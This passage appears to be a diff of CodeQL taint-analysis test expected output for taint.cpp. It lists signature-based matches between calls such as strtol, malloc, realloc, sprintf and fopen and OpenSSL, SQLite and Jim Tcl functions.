TS_REQ_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:725:10:725:15 | strtol | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:725:10:725:15 | strtol | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:725:10:725:15 | strtol | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:725:10:725:15 | strtol | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:725:10:725:15 | strtol | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:725:10:725:15 | strtol | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,SD *,int) | | sd_load | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,long *,int) | | Jim_StringToWide | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:725:10:725:15 | strtol | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | defossilize | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | make_uppercase | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | next_item | 0 | | taint.cpp:727:6:727:16 | test_strtol | (char *) | CStringT | CStringT | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_get_extension_type | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_quic_sstream_new | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ssl_cert_new | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | test_get_argument | 0 | +| taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BN_num_bits_word | 0 | +| taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BUF_MEM_new_ex | 0 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:736:7:736:13 | realloc | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:736:7:736:13 | realloc | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | +| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | +| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | +| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:736:7:736:13 | realloc | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:736:7:736:13 | realloc | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | create_a_psk | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:736:7:736:13 | realloc | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:736:7:736:13 | realloc | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:736:7:736:13 | realloc | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:736:7:736:13 | realloc | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:736:7:736:13 | realloc | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:736:7:736:13 | realloc | (void *,size_t) | | JimDefaultAllocator | 0 | +| taint.cpp:736:7:736:13 | realloc | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:758:5:758:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| taint.cpp:758:5:758:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (ARGS *,char *) | | chopup_args | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (BIO *,char *) | | BIO_set_callback_arg | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (const char *,char *) | | sha1sum_file | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (const char *,char *) | | sha3sum_file | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (unsigned long,char *) | | ERR_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:782:7:782:11 | fopen | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:782:7:782:11 | fopen | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| 